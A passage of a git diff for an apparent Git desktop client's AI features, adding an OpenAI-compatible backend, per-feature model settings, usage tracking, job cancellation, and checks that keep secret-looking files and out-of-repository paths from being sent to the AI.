returned malformed JSON.', 'invalid-output'); + } + const usage = data.usage; + const cached = usage?.prompt_tokens_details?.cached_tokens ?? 0; + return { + json, + model: data.model || req.model, + // OpenAI counts cached tokens inside prompt_tokens; AiUsage keeps them separate. + usage: usage ? { inputTokens: Math.max(0, (usage.prompt_tokens ?? 0) - cached), outputTokens: usage.completion_tokens ?? 0, cacheReadTokens: cached, cacheWriteTokens: 0, costUsd: null } : undefined, + }; + } +} diff --git a/src/main/ai/prDraft.ts b/src/main/ai/prDraft.ts index 9de5c7c..3b9d281 100644 --- a/src/main/ai/prDraft.ts +++ b/src/main/ai/prDraft.ts @@ -1,4 +1,5 @@ import type { PrDraft, PrDraftInput } from '@shared/types'; +import { modelFor } from '@shared/ai-model'; import { getRangePatch } from '../git/diff'; import { GitError, type GitClient } from '../git/git'; import { compareRefs, mergeBase } from '../git/log'; @@ -23,6 +24,7 @@ import { templateCheckboxLabels, } from './pr-draft-core'; import { buildPrDraftPrompt, PR_DRAFT_SCHEMA, PR_DRAFT_SYSTEM_PROMPT, type PrDraftPromptCommit, type PrDraftPromptIssue } from './prompts'; +import { ClientJobs } from '../core/client-context'; import { createBackend } from './provider'; import { stripFences } from './review-core'; @@ -43,18 +45,17 @@ export type PrDraftReporter = (phase: PrDraftProgressPhase, message: string) => * (see pr-draft-core.ts), and never creates the pull request itself. */ export class PrDraftService { - private controller: AbortController | null = null; + private readonly jobs = new ClientJobs(); constructor(private readonly store: Store, private readonly tools: ToolLocator, private readonly git: GitClient, private readonly gh: GhClient, private readonly repos: RepositoryManager) {} cancel(): void { - this.controller?.abort(); - this.controller = null; + this.jobs.cancel(); } /** True while a draft is in flight; used by the update install gate to refuse installing mid-draft. */ isActive(): boolean { - return this.controller !== null; + return this.jobs.isActive(); } private async resolveBaseRef(repoPath: string, base: string): Promise { @@ -64,12 +65,11 @@ export class PrDraftService { } async draft(repoPath: string, input: PrDraftInput, report: PrDraftReporter): Promise { - const controller = new AbortController(); - this.controller = controller; + const controller = this.jobs.start(); const signal = controller.signal; try { report('started', 'Reading commits and diff…'); - const { backend, settings } = await createBackend(this.store, this.tools); + const { backend, settings } = await createBackend(this.store, this.tools, 'prDraft'); const baseRef = await this.resolveBaseRef(repoPath, input.base); if (!baseRef) throw new GitError({ message: `Base branch "${input.base}" was not found locally. Fetch first.`, command: '', exitCode: null, stderr: '', stdout: '', code: 'unknown' }); @@ -86,7 +86,7 @@ export class PrDraftService { const subjectsOnly = totalAhead > SUBJECTS_ONLY_THRESHOLD; const commits: PrDraftPromptCommit[] = capped.map((c) => ({ summary: c.summary, body: subjectsOnly ? null : c.body || null })); - const { stat, patch, truncated } = await getRangePatch(this.git, repoPath, mb, headSha, MAX_DIFF_BYTES); + const { stat, patch, truncated, skipped } = await getRangePatch(this.git, repoPath, mb, headSha, MAX_DIFF_BYTES); const changedPaths = (await this.git.stdout(repoPath, ['diff', '--name-only', '-M', `${mb}...${headSha}`], { readOnly: true, okExitCodes: [1], signal })).split('\n').filter(Boolean); const rawTemplate = await findPullRequestTemplate(repoPath); @@ -111,7 +111,7 @@ export class PrDraftService { } const promptIssues: PrDraftPromptIssue[] = validIssues.map((r) => ({ number: r.number, closing: r.closing, title: issueDetails.get(r.number)?.title ?? '', state: issueDetails.get(r.number)?.state ?? '' })); - report('thinking', `Drafting with ${settings.model}…`); + report('thinking', `Drafting with ${modelFor(settings, 'prDraft')}…`); const response = await backend.complete({ system: PR_DRAFT_SYSTEM_PROMPT, prompt: buildPrDraftPrompt({ @@ -130,7 +130,7 @@ export class PrDraftService { existingBody: input.existingBody, }), schema: PR_DRAFT_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'prDraft'), effort: settings.effort === 'max' ? 'high' : settings.effort, signal, onProgress: (m) => report('writing', m), @@ -158,13 +158,13 @@ export class PrDraftService { report('done', 'Draft ready'); log.info(`AI PR draft for ${repoPath} (${input.head} -> ${input.base}): ${capped.length}/${totalAhead} commits, ${linkedIssues.length} linked issue(s), via ${backend.name}/${response.model}`); - return { title, body, linkedIssues, templateSectionsFilled, truncated, restored, model: response.model }; + return { title, body, linkedIssues, templateSectionsFilled, truncated, restored, skipped, model: response.model }; } catch (err) { const message = err instanceof Error ? err.message : String(err); if (!signal.aborted) report('error', message); throw err; } finally { - if (this.controller === controller) this.controller = null; + this.jobs.end(controller); } } } diff --git a/src/main/ai/prompts.ts b/src/main/ai/prompts.ts index f75959b..0bdcfbc 100644 --- a/src/main/ai/prompts.ts +++ b/src/main/ai/prompts.ts @@ -235,13 +235,14 @@ function describeContext(ctx: ReviewPromptContext): string { return parts.join('\n\n'); } -export function buildReviewFilePrompt(input: ReviewFilePromptInput): string { - const parts: string[] = [describeContext(input.context)]; +/** `sharedPrompt` (PR context, identical for every file of a run) and `prompt` (the per-file part); backends send `sharedPrompt` as a cached leading block, the full text is `sharedPrompt + '\n\n' + prompt`. */ +export function buildReviewFilePrompt(input: ReviewFilePromptInput): { sharedPrompt: string; prompt: string } { + const parts: string[] = []; parts.push(`File under review: ${input.path}${input.oldPath ? ` (renamed from ${input.oldPath})` : ''} — ${input.status}${input.language ? `, ${input.language}` : ''}`); parts.push(`Diff${input.truncated ? ' (truncated; review what is shown)' : ''}. Each new-side line is prefixed with [new:N]; deleted lines are prefixed with [del] and cannot be cited:\n${input.annotatedDiff}`); if (input.contextExcerpt) parts.push(`Surrounding code from the new version of the file (for understanding only; cite diff lines, not these):\n${input.contextExcerpt}`); parts.push('Review this file and return findings using the schema.'); - return parts.join('\n\n'); + return { sharedPrompt: describeContext(input.context), prompt: parts.join('\n\n') }; } export function buildReviewSummaryPrompt(ctx: ReviewPromptContext, fileSummaries: { path: string; summary: string }[], findings: { path: string; line: number; severity: string; title: string }[], skipped: number, droppedInvalid: number): string { @@ -320,13 +321,13 @@ export interface PrecommitFilePromptInput { truncated: boolean; } -export function buildPrecommitFilePrompt(input: PrecommitFilePromptInput): string { - const parts: string[] = [describePrecommitContext(input.context)]; +export function buildPrecommitFilePrompt(input: PrecommitFilePromptInput): { sharedPrompt: string; prompt: string } { + const parts: string[] = []; parts.push(`File under review: ${input.path}${input.oldPath ? ` (renamed from ${input.oldPath})` : ''} — ${input.status}${input.language ? `, ${input.language}` : ''}${input.partial ? '. Only the lines below are selected for this commit; the rest of the file is left out.' : ''}`); parts.push(`Diff${input.truncated ? ' (truncated; review what is shown)' : ''}. Each new-side line is prefixed with [new:N]; deleted lines are prefixed with [del] and cannot be cited:\n${input.annotatedDiff}`); if (input.contextExcerpt) parts.push(`Surrounding code from the current version of the file (for understanding only; cite diff lines, not these):\n${input.contextExcerpt}`); parts.push('Review this file and return findings using the schema.'); - return parts.join('\n\n'); + return { sharedPrompt: describePrecommitContext(input.context), prompt: parts.join('\n\n') }; } export function buildPrecommitSummaryPrompt(ctx: PrecommitPromptContext, fileSummaries: { path: string; summary: string }[], findings: { path: string; line: number; severity: string; title: string }[], skipped: number, droppedInvalid: number): string { diff --git a/src/main/ai/provider.ts b/src/main/ai/provider.ts index 2e228e1..27d6776 100644 --- a/src/main/ai/provider.ts +++ b/src/main/ai/provider.ts @@ -1,20 +1,48 @@ -import type { AiSettings } from '@shared/types'; +import type { AiFeature, AiSettings } from '@shared/types'; import type { Store } from '../store'; import type { ToolLocator } from '../tools'; -import { AiError, AnthropicBackend, ClaudeCliBackend, type AiBackend } from './backends'; +import { AiError, AnthropicBackend, ClaudeCliBackend, withScrubbing, type AiBackend } from './backends'; +import { modelFor } from '@shared/ai-model'; +import { OpenAiBackend } from './openai-backend'; +import { recordUsage } from './usage'; -/** Creates the AI backend selected in settings, or throws a not-configured AiError. */ -export async function createBackend(store: Store, tools: ToolLocator): Promise<{ backend: AiBackend; settings: AiSettings }> { +/** Scrubs secrets from the prompt of every feature but the resolver (whose text is written back to the file), and records every successful request's usage under `feature` (best-effort; see usage.ts). */ +function withUsage(backend: AiBackend, feature: AiFeature): AiBackend { + const inner = feature === 'resolver' ? backend : withScrubbing(backend); + return { + name: backend.name, + async complete(req) { + const res = await inner.complete(req); + void recordUsage(feature, res.usage); + return res; + }, + }; +} + +/** Creates the AI backend selected in settings, or throws a not-configured AiError. Usage of the returned backend is recorded under `feature`. */ +export async function createBackend(store: Store, tools: ToolLocator, feature: AiFeature): Promise<{ backend: AiBackend; settings: AiSettings }> { const settings = store.getSettings().ai; if (settings.provider === 'disabled') throw new AiError('AI features are turned off. Enable them in Options → AI.', 'not-configured'); if (settings.provider === 'claude-cli') { + await tools.ensure('claudeCli'); const path = tools.claudePath(); if (!path) throw new AiError('Claude Code CLI was not found. Install it or switch to an Anthropic API key in Options → AI.', 'not-configured'); - return { backend: new ClaudeCliBackend(path, await tools.env()), settings }; + return { backend: withUsage(new ClaudeCliBackend(path, await tools.env()), feature), settings }; + } + if (settings.provider === 'openai-compatible') { + let valid = false; + try { + valid = /^https?:$/.test(new URL(settings.openaiBaseUrl).protocol); + } catch { + /* falls through to the not-configured error */ + } + if (!valid) throw new AiError('No valid base URL is set for the OpenAI-compatible server. Add one in Options → AI.', 'not-configured'); + if (!modelFor(settings, feature)) throw new AiError('No model name is set for the OpenAI-compatible server. Add one in Options → AI.', 'not-configured'); + return { backend: withUsage(new OpenAiBackend(settings.openaiBaseUrl, store.getOpenaiApiKey()), feature), settings }; } const key = store.getApiKey(); if (!key && !process.env.ANTHROPIC_API_KEY && !process.env.ANTHROPIC_AUTH_TOKEN) { throw new AiError('No Anthropic API key is configured. Add one in Options → AI, or switch to the Claude Code CLI.', 'not-configured'); } - return { backend: new AnthropicBackend(key), settings }; + return { backend: withUsage(new AnthropicBackend(key), feature), settings }; } diff --git a/src/main/ai/rebasePlan.ts b/src/main/ai/rebasePlan.ts index 0e817a0..461c24a 100644 --- a/src/main/ai/rebasePlan.ts +++ b/src/main/ai/rebasePlan.ts @@ -10,6 +10,7 @@ */ import type { OperationOutcome } from '@shared/ipc'; import type { RebaseApplyProgress, RebasePlan, RebasePreflight } from '@shared/types'; +import { modelFor } from '@shared/ai-model'; import { getCurrentBranchName, getDefaultBranch } from '../git/branches'; import { compareRefs, getCommitFiles, getCommitPatch, isCommitPushed } from '../git/log'; import { EMPTY_TREE_SHA, GitError, type GitClient } from '../git/git'; @@ -22,6 +23,7 @@ import type { ToolLocator } from '../tools'; import { AiError } from './backends'; import { budgetCommitPatches, capCommitsForPlanning, REBASE_MAX_PATCH_BYTES_PER_COMMIT, type OriginalCommitInfo, validateRebasePlan } from './rebase-plan-core'; import { buildRebasePlanPrompt, REBASE_PLAN_SCHEMA, REBASE_PLAN_SYSTEM_PROMPT, type RebasePlanPromptCommit } from './prompts'; +import { ClientJobs } from '../core/client-context'; import { createBackend } from './provider'; function newPlanId(): string { @@ -29,19 +31,18 @@ function newPlanId(): string { } export class RebasePlanService { - private controller: AbortController | null = null; + private readonly jobs = new ClientJobs(); private readonly applier = new RebaseApplyService(); constructor(private readonly store: Store, private readonly tools: ToolLocator, private readonly git: GitClient) {} cancel(): void { - this.controller?.abort(); - this.controller = null; + this.jobs.cancel(); } /** True while a plan proposal is in flight; used by the update-install gate alongside the other AI services. */ isActive(): boolean { - return this.controller !== null; + return this.jobs.isActive(); } hasPendingApply(repoPath: string): boolean { @@ -176,16 +177,15 @@ export class RebasePlanService { patch: includePatch.has(c.sha) ? patchResults[i].patch : null, })); - const { backend, settings: aiSettings } = await createBackend(this.store, this.tools); - const controller = new AbortController(); - this.controller = controller; + const { backend, settings: aiSettings } = await createBackend(this.store, this.tools, 'rebase'); + const controller = this.jobs.start(); try { const currentBranchLabel = currentBranch ?? 'HEAD'; const response = await backend.complete({ system: REBASE_PLAN_SYSTEM_PROMPT, prompt: buildRebasePlanPrompt({ base: resolvedBase, branch: currentBranchLabel, commits: promptCommits, truncated }), schema: REBASE_PLAN_SCHEMA as unknown as Record, - model: aiSettings.model, + model: modelFor(aiSettings, 'rebase'), effort: aiSettings.effort, signal: controller.signal, }); @@ -195,7 +195,7 @@ export class RebasePlanService { log.info(`AI rebase plan ${plan.id} for ${repoPath}: ${plan.rows.length} row(s), ${plan.warnings.length} warning(s), via ${backend.name}/${response.model}${includedShas.size < oldestFirst.length ? ` (${includedShas.size}/${oldestFirst.length} commits sent)` : ''}`); return plan; } finally { - if (this.controller === controller) this.controller = null; + this.jobs.end(controller); } } diff --git a/src/main/ai/release-notes.ts b/src/main/ai/release-notes.ts index d7bf977..f87e63e 100644 --- a/src/main/ai/release-notes.ts +++ b/src/main/ai/release-notes.ts @@ -1,4 +1,5 @@ import type { ReleaseNotes, ReleaseNotesInput, ReleaseRangeQuery, ReleaseRangeResult, ReleasePr } from '@shared/types'; +import { modelFor } from '@shared/ai-model'; import { mapWithConcurrency } from '@shared/util'; import { getLatestReachableTag } from '../git/operations'; import { getReleaseDiffStat, getReleaseLog } from '../git/log'; @@ -11,6 +12,7 @@ import type { ToolLocator } from '../tools'; import { AiError } from './backends'; import { buildReleaseNotes, collectPrNumbers } from './release-notes-core'; import { buildReleaseNotesPrompt, RELEASE_NOTES_SCHEMA, releaseNotesSystemPrompt, type ReleaseNotesPromptCommit, type ReleaseNotesPromptPr } from './prompts'; +import { ClientJobs } from '../core/client-context'; import { createBackend } from './provider'; /** Pull request numbers beyond this many in one range are not looked up (spec: "capped at 100"). */ @@ -29,18 +31,17 @@ export type ReleaseNotesReporter = (phase: ReleaseNotesProgressPhase, message: s * actions (see repo.changelog.insert and GhClient.releaseCreate). */ export class ReleaseNotesService { - private controller: AbortController | null = null; + private readonly jobs = new ClientJobs(); constructor(private readonly store: Store, private readonly tools: ToolLocator, private readonly git: GitClient, private readonly gh: GhClient, private readonly repos: RepositoryManager) {} cancel(): void { - this.controller?.abort(); - this.controller = null; + this.jobs.cancel(); } /** True while a generation is in flight; used by the update install gate to refuse installing mid-generation. */ isActive(): boolean { - return this.controller !== null; + return this.jobs.isActive(); } /** Pull request numbers referenced in a range, fetched (title/labels/author/url) up to MAX_PR_LOOKUPS with PR_LOOKUP_CONCURRENCY in flight; empty when `includePrs` is off, there is no GitHub remote, or the user is not signed in. */ @@ -73,12 +74,11 @@ export class ReleaseNotesService { } async generate(repoPath: string, input: ReleaseNotesInput, report: ReleaseNotesReporter): Promise { - const controller = new AbortController(); - this.controller = controller; + const controller = this.jobs.start(); const signal = controller.signal; try { report('started', 'Reading commits…'); - const { backend, settings } = await createBackend(this.store, this.tools); + const { backend, settings } = await createBackend(this.store, this.tools, 'releaseNotes'); const { commits, mergeSubjects, truncated } = await getReleaseLog(this.git, repoPath, input.range.from, input.range.to); if (!commits.length) throw new AiError('There are no commits in this range to generate notes from.', 'other'); @@ -87,7 +87,7 @@ export class ReleaseNotesService { const prs = await this.fetchPrs(repoPath, prNumbers, input.includePrs); const prTitles = new Map(prs.map((p) => [p.number, p.title])); - report('thinking', `Drafting with ${settings.model}…`); + report('thinking', `Drafting with ${modelFor(settings, 'releaseNotes')}…`); const promptCommits: ReleaseNotesPromptCommit[] = commits.map((c) => ({ sha: c.sha, subject: c.subject, body: c.body, prNumber: c.prNumber })); const promptPrs: ReleaseNotesPromptPr[] = prs.map((p) => ({ number: p.number, title: p.title, labels: p.labels })); const response = await backend.complete({ @@ -103,7 +103,7 @@ export class ReleaseNotesService { truncated, }), schema: RELEASE_NOTES_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'releaseNotes'), effort: settings.effort, signal, onProgress: (m) => report('writing', m), @@ -119,7 +119,7 @@ export class ReleaseNotesService { if (!signal.aborted) report('error', message); throw err; } finally { - if (this.controller === controller) this.controller = null; + this.jobs.end(controller); } } } diff --git a/src/main/ai/repo-guard.ts b/src/main/ai/repo-guard.ts new file mode 100644 index 0000000..c017a08 --- /dev/null +++ b/src/main/ai/repo-guard.ts @@ -0,0 +1,26 @@ +import { AiError } from './backends'; + +/** + * `ai.*` methods that are never blocked: rollbacks of something already applied (a later opt-out must not + * strand the user) and `ai.cancel`, whose first argument is a feature name, not a repository path. + */ +const UNGUARDED_METHODS = new Set(['ai.split.undo', 'ai.rebase.undo', 'ai.resolve.useSideForBlock', 'ai.cancel']); + +type AnyHandler = (...args: unknown[]) => Promise; + +/** + * Wraps, in place, every `ai.*` handler whose first argument is a repository path so it throws an + * AiError while AI is switched off for that repository (`blockedReason` returns the message), before + * any service code runs. One chokepoint: a new `ai.*` method is covered without remembering to guard it. + */ +export function guardAiHandlers(handlers: Record, blockedReason: (repoPath: string) => Promise): void { + for (const [method, inner] of Object.entries(handlers)) { + if (!method.startsWith('ai.') || UNGUARDED_METHODS.has(method)) continue; + handlers[method] = async (...args) => { + const repoPath = args[0]; + const reason = typeof repoPath === 'string' ? await blockedReason(repoPath) : null; + if (reason) throw new AiError(reason, 'other'); + return inner(...args); + }; + } +} diff --git a/src/main/ai/resolve-examples.ts b/src/main/ai/resolve-examples.ts index 5845a65..216be79 100644 --- a/src/main/ai/resolve-examples.ts +++ b/src/main/ai/resolve-examples.ts @@ -1,5 +1,6 @@ import type { ManualResolutionExample } from '@shared/types'; import { hasConflictMarkers, parseConflicts } from '@shared/diff/conflicts'; +import { secretFileReason } from '@shared/secrets'; const MAX_EXAMPLES = 3; const MAX_TOTAL_BYTES = 12_000; @@ -23,9 +24,10 @@ function byteLength(s: string): number { * of surrounding context on each side, for both the original (marked) and * resolved text, so the model sees the reconciliation pattern without the * whole file. Returns null when `original` has no parseable conflict blocks - * (nothing useful to show as an example). + * (nothing useful to show as an example), or when the file looks like a secrets file. */ export function trimManualResolution(raw: RawManualResolution): ManualResolutionExample | null { + if (secretFileReason(raw.path)) return null; if (!hasConflictMarkers(raw.original)) return null; const parsed = parseConflicts(raw.original); if (!parsed.blocks.length) return null; diff --git a/src/main/ai/resolver.ts b/src/main/ai/resolver.ts index 9f71de7..6ef5b16 100644 --- a/src/main/ai/resolver.ts +++ b/src/main/ai/resolver.ts @@ -1,5 +1,6 @@ -import { readFile, writeFile } from 'node:fs/promises'; -import type { AiSettings, ConflictBlockResolution, ConflictResolutionResult, InProgressOperation, ManualResolutionExample, PostResolveCheckResult, WorkingFile } from '@shared/types'; +import type { AiFeature, AiSettings, ConflictBlockResolution, ConflictResolutionResult, InProgressOperation, ManualResolutionExample, PostResolveCheckResult, WorkingFile } from '@shared/types'; +import { modelFor } from '@shared/ai-model'; +import { secretFileReason } from '@shared/secrets'; import { applyResolutions, hasConflictMarkers, normalizeResolutionText, parseConflicts, resolutionForChoice, type BlockChoice } from '@shared/diff/conflicts'; import { languageFromPath, splitLines } from '@shared/util'; import { runPostResolveCheck, resolveCheckCommand } from './check-runner'; @@ -8,11 +9,13 @@ import { toFsPath, getPatchForFiles } from '../git/diff'; import type { GitClient } from '../git/git'; import { markResolved } from '../git/operations'; import { readRepoConfig } from '../repo/config'; +import { readRepoFile, writeRepoFile } from '../repo/paths'; import { getStatus } from '../git/status'; import { log } from '../logger'; import type { Store } from '../store'; import type { ToolLocator } from '../tools'; import { AiError, type AiBackend } from './backends'; +import { ClientJobs } from '../core/client-context'; import { createBackend } from './provider'; import { buildCommitMessagePrompt, buildResolvePrompt, COMMIT_MESSAGE_SCHEMA, COMMIT_MESSAGE_SYSTEM_PROMPT, RESOLUTION_SCHEMA, RESOLVE_SYSTEM_PROMPT } from './prompts'; @@ -56,25 +59,34 @@ export interface UseSideForBlockResult { ranges: { id: number; start: number; end: number }[]; } +/** Conflicted file text; symlinks and paths resolving outside the repository are refused (their target would otherwise be read and uploaded). */ +async function readConflictFile(repoPath: string, path: string): Promise { + toFsPath(repoPath, path); + const buf = await readRepoFile(repoPath, path); + if (!buf) throw new AiError('This file is a symbolic link or outside the repository; resolve it manually.', 'other'); + return buf.toString('utf8'); +} + export class ConflictResolver { - private controller: AbortController | null = null; + private readonly jobs = new ClientJobs(); + /** Commit-message generation is cancelled on its own (`ai.cancel('commitMessage')`), never by a conflict-resolution cancel. */ + private readonly commitJobs = new ClientJobs(); /** Manual resolutions recorded for the current operation, keyed by repository path, most recent first. Cleared once the repository's operation ends (see getExamplePaths) or on app exit (in-memory only, never persisted). */ private examples = new Map(); constructor(private readonly store: Store, private readonly tools: ToolLocator, private readonly git: GitClient) {} - private backend(): Promise<{ backend: AiBackend; settings: AiSettings }> { - return createBackend(this.store, this.tools); + private backend(feature: AiFeature = 'resolver'): Promise<{ backend: AiBackend; settings: AiSettings }> { + return createBackend(this.store, this.tools, feature); } - cancel(): void { - this.controller?.abort(); - this.controller = null; + cancel(feature: 'resolver' | 'commitMessage' = 'resolver'): void { + (feature === 'commitMessage' ? this.commitJobs : this.jobs).cancel(); } /** True while a resolve/resolveAll run is in flight; used by the update install gate to refuse installing mid-resolution. */ isActive(): boolean { - return this.controller !== null; + return this.jobs.isActive() || this.commitJobs.isActive(); } async test(): Promise<{ ok: boolean; message: string }> { @@ -84,10 +96,10 @@ export class ConflictResolver { system: 'Reply using the requested JSON schema.', prompt: 'Return {"ok": true}.', schema: { type: 'object', properties: { ok: { type: 'boolean' } }, required: ['ok'], additionalProperties: false }, - model: settings.model, + model: modelFor(settings, 'resolver'), effort: 'low', }); - return { ok: true, message: `Connected via ${backend.name === 'anthropic' ? 'the Anthropic API' : 'Claude Code'} (model ${res.model}).` }; + return { ok: true, message: `Connected via ${backend.name === 'anthropic' ? 'the Anthropic API' : backend.name === 'openai-compatible' ? settings.openaiBaseUrl : 'Claude Code'} (model ${res.model}).` }; } catch (err) { return { ok: false, message: (err as Error).message }; } @@ -117,12 +129,13 @@ export class ConflictResolver { const base: ConflictResolutionResult = { path, ok: false, error: null, blocks: [], staged: false, model: null, provider: null, original: null, check: null, guidedBy: opts.examples?.map((e) => e.path) ?? [] }; try { report(path, 'started', 'Reading conflict…'); + const secret = secretFileReason(path); + if (secret) throw new AiError(`${path} looks like a secrets file (${secret}), so it is never sent to AI. Resolve it manually.`, 'other'); const { backend, settings } = await this.backend(); base.provider = backend.name; - const fsPath = toFsPath(repoPath, path); // A checkOutput retry's "original" is the true pre-resolution conflicted content carried over // from the failed run; the file on disk at this point holds that run's (marker-free) output. - const original = opts.checkOutput?.original ?? (await readFile(fsPath, 'utf8')); + const original = opts.checkOutput?.original ?? (await readConflictFile(repoPath, path)); base.original = original; if (!hasConflictMarkers(original)) { if (file?.conflict && file.conflict !== 'both-modified' && file.conflict !== 'both-added') { @@ -151,12 +164,12 @@ export class ConflictResolver { examples: opts.examples, checkOutput: opts.checkOutput, }); - report(path, 'thinking', `Resolving ${parsed.blocks.length} conflict${parsed.blocks.length === 1 ? '' : 's'} with ${settings.model}…`); + report(path, 'thinking', `Resolving ${parsed.blocks.length} conflict${parsed.blocks.length === 1 ? '' : 's'} with ${modelFor(settings, 'resolver')}…`); const response = await backend.complete({ system: RESOLVE_SYSTEM_PROMPT, prompt, schema: RESOLUTION_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'resolver'), effort: settings.effort, signal, onProgress: (m) => report(path, 'writing', m), @@ -178,10 +191,10 @@ export class ConflictResolver { // checkOutput retry: by design the file on disk holds the previous (failed-check) attempt's // output at this point, not `original`, so there is nothing to compare it against here. if (!opts.checkOutput) { - const current = await readFile(fsPath, 'utf8'); + const current = await readConflictFile(repoPath, path); if (current !== original) throw new AiError('The file changed while the resolution was being generated; try again.', 'other'); } - await writeFile(fsPath, resolved, 'utf8'); + await writeRepoFile(repoPath, path, resolved); const check = await this.runConfiguredCheck(repoPath, settings, report, path, signal); let staged = false; @@ -227,49 +240,61 @@ export class ConflictResolver { } async resolve(repoPath: string, path: string, report: ProgressReporter, checkOutput?: { command: string; tail: string; original: string }): Promise { - this.controller = new AbortController(); - const status = await getStatus(this.git, repoPath); - const file = status.files.find((f) => f.path === path); - return this.resolveFile(repoPath, path, report, this.controller.signal, file, { checkOutput }); + const job = this.jobs.start(); + try { + const status = await getStatus(this.git, repoPath); + const file = status.files.find((f) => f.path === path); + return await this.resolveFile(repoPath, path, report, job.signal, file, { checkOutput }); + } finally { + this.jobs.end(job); + } } async resolveAll(repoPath: string, report: ProgressReporter): Promise { - this.controller = new AbortController(); - const signal = this.controller.signal; - const status = await getStatus(this.git, repoPath); - const conflicted = status.files.filter((f) => f.conflict !== null); - const results: ConflictResolutionResult[] = []; - // Resolve a few files concurrently; each request is independent. - const concurrency = 3; - let index = 0; - const worker = async () => { - while (index < conflicted.length && !signal.aborted) { - const file = conflicted[index++]; - results.push(await this.resolveFile(repoPath, file.path, report, signal, file)); - } - }; - await Promise.all(Array.from({ length: Math.min(concurrency, conflicted.length) }, worker)); - return results.sort((a, b) => a.path.localeCompare(b.path)); + const job = this.jobs.start(); + const signal = job.signal; + try { + const status = await getStatus(this.git, repoPath); + const conflicted = status.files.filter((f) => f.conflict !== null); + const results: ConflictResolutionResult[] = []; + // Resolve a few files concurrently; each request is independent. + const concurrency = 3; + let index = 0; + const worker = async () => { + while (index < conflicted.length && !signal.aborted) { + const file = conflicted[index++]; + results.push(await this.resolveFile(repoPath, file.path, report, signal, file)); + } + }; + await Promise.all(Array.from({ length: Math.min(concurrency, conflicted.length) }, worker)); + return results.sort((a, b) => a.path.localeCompare(b.path)); + } finally { + this.jobs.end(job); + } } /** Resolves every remaining conflicted file, guided by the manual resolutions recorded for this operation (see recordExample). */ async resolveAllGuided(repoPath: string, report: ProgressReporter): Promise { - this.controller = new AbortController(); - const signal = this.controller.signal; - const status = await getStatus(this.git, repoPath); - const conflicted = status.files.filter((f) => f.conflict !== null); - const examples = capExamples(await this.getExamples(repoPath)); - const results: ConflictResolutionResult[] = []; - const concurrency = 3; - let index = 0; - const worker = async () => { - while (index < conflicted.length && !signal.aborted) { - const file = conflicted[index++]; - results.push(await this.resolveFile(repoPath, file.path, report, signal, file, { examples })); - } - }; - await Promise.all(Array.from({ length: Math.min(concurrency, conflicted.length) }, worker)); - return results.sort((a, b) => a.path.localeCompare(b.path)); + const job = this.jobs.start(); + const signal = job.signal; + try { + const status = await getStatus(this.git, repoPath); + const conflicted = status.files.filter((f) => f.conflict !== null); + const examples = capExamples(await this.getExamples(repoPath)); + const results: ConflictResolutionResult[] = []; + const concurrency = 3; + let index = 0; + const worker = async () => { + while (index < conflicted.length && !signal.aborted) { + const file = conflicted[index++]; + results.push(await this.resolveFile(repoPath, file.path, report, signal, file, { examples })); + } + }; + await Promise.all(Array.from({ length: Math.min(concurrency, conflicted.length) }, worker)); + return results.sort((a, b) => a.path.localeCompare(b.path)); + } finally { + this.jobs.end(job); + } } /** Records a manual resolution (edited by hand, or via per-block side selection) as a worked example for the rest of this operation. Silently ignored when `original` has no parseable conflict blocks. */ @@ -308,8 +333,7 @@ export class ConflictResolver { * (refusing if the file on disk no longer matches what those ranges say). */ async useSideForBlock(repoPath: string, path: string, original: string, ranges: { id: number; start: number; end: number }[], blockId: number, side: 'ours' | 'theirs' | 'base'): Promise { - const fsPath = toFsPath(repoPath, path); - const current = await readFile(fsPath, 'utf8'); + const current = await readConflictFile(repoPath, path); const parsed = parseConflicts(original); if (!parsed.blocks.length) throw new AiError('Conflict markers are malformed; resolve this file manually.', 'other'); const rangeById = new Map(ranges.map((r) => [r.id, r])); @@ -328,29 +352,41 @@ export class ConflictResolver { const final = new Map(verify); final.set(blockId, resolutionForChoice(target, side as BlockChoice)); const { content, ranges: newRanges } = applyResolutions(parsed, final); - await writeFile(fsPath, content, 'utf8'); + await writeRepoFile(repoPath, path, content); const outRanges = [...newRanges.entries()].map(([id, r]) => ({ id, ...r })); return { content, ranges: outRanges }; } - async commitMessage(repoPath: string, paths: string[]): Promise<{ summary: string; description: string }> { - const { backend, settings } = await this.backend(); + /** `skipped` lists selected files that were left out of the request because they look like secrets (`path: reason`). */ + async commitMessage(repoPath: string, paths: string[]): Promise<{ summary: string; description: string; skipped: string[] }> { + const { backend, settings } = await this.backend('commitMessage'); const status = await getStatus(this.git, repoPath); - const files = status.files.filter((f) => paths.includes(f.path)); - if (!files.length) throw new AiError('Select at least one changed file first.', 'other'); - const { patch, truncated, stat } = await getPatchForFiles(this.git, repoPath, files, 120_000); - this.controller = new AbortController(); - const response = await backend.complete({ - system: COMMIT_MESSAGE_SYSTEM_PROMPT, - prompt: buildCommitMessagePrompt(stat, patch, truncated, status.branch.name), - schema: COMMIT_MESSAGE_SCHEMA as unknown as Record, - model: settings.model, - effort: settings.effort === 'max' ? 'high' : settings.effort, - signal: this.controller.signal, + const selected = status.files.filter((f) => paths.includes(f.path)); + if (!selected.length) throw new AiError('Select at least one changed file first.', 'other'); + const skipped = selected.flatMap((f) => { + const reason = secretFileReason(f.path); + return reason ? [`${f.path}: ${reason}`] : []; }); + const files = selected.filter((f) => !secretFileReason(f.path)); + if (!files.length) throw new AiError(`Every selected file looks like it holds secrets, so nothing was sent to the AI (${skipped.join('; ')}).`, 'other'); + const { patch, truncated, stat } = await getPatchForFiles(this.git, repoPath, files, 120_000); + const controller = this.commitJobs.start(); + let response; + try { + response = await backend.complete({ + system: COMMIT_MESSAGE_SYSTEM_PROMPT, + prompt: buildCommitMessagePrompt(stat, patch, truncated, status.branch.name), + schema: COMMIT_MESSAGE_SCHEMA as unknown as Record, + model: modelFor(settings, 'commitMessage'), + effort: settings.effort === 'max' ? 'high' : settings.effort, + signal: controller.signal, + }); + } finally { + this.commitJobs.end(controller); + } const json = response.json as { summary?: unknown; description?: unknown }; const summary = typeof json.summary === 'string' ? json.summary.trim().replace(/\.$/, '') : ''; if (!summary) throw new AiError('The model returned an empty summary.', 'invalid-output'); - return { summary, description: typeof json.description === 'string' ? json.description.trim() : '' }; + return { summary, description: typeof json.description === 'string' ? json.description.trim() : '', skipped }; } } diff --git a/src/main/ai/review-core.ts b/src/main/ai/review-core.ts index a80fe69..eeac74f 100644 --- a/src/main/ai/review-core.ts +++ b/src/main/ai/review-core.ts @@ 